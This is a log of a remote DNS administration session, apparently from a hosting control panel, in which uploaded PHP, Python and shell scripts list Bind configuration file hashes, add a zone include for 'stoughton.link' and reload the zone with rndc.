MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 18:58:07: Establishing a connection
2026-05-15 18:58:07: Establishing a connection
2026-05-15 18:58:07: 

PUT: /tmp/pkp803517

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 18:58:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp803517; rm /tmp/pkp803517'

2026-05-15 18:58:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 18:58:08: 

PUT: /tmp/pkp859601

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '3d2ec12df06edc90dfcd3e90b9defc61'
ZONE_NAME = 'stoughton.link'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-05-15 18:58:08: 

chmod 755 /tmp/pkp859601; /tmp/pkp859601; rm /tmp/pkp859601

2026-05-15 18:58:11: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-05-15 18:58:11: 

PUT: /tmp/pkp273427

#!/bin/bash
rndc reload stoughton.link 2>&1


2026-05-15 18:58:11: 

chmod 755 /tmp/pkp273427; /tmp/pkp273427; rm /tmp/pkp273427

2026-05-15 18:58:11: 


zone reload up-to-date


2026-05-15 18:58:11: Establishing a connection
2026-05-15 18:58:11: 

PUT: /tmp/pkp106994

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 18:58:11: 

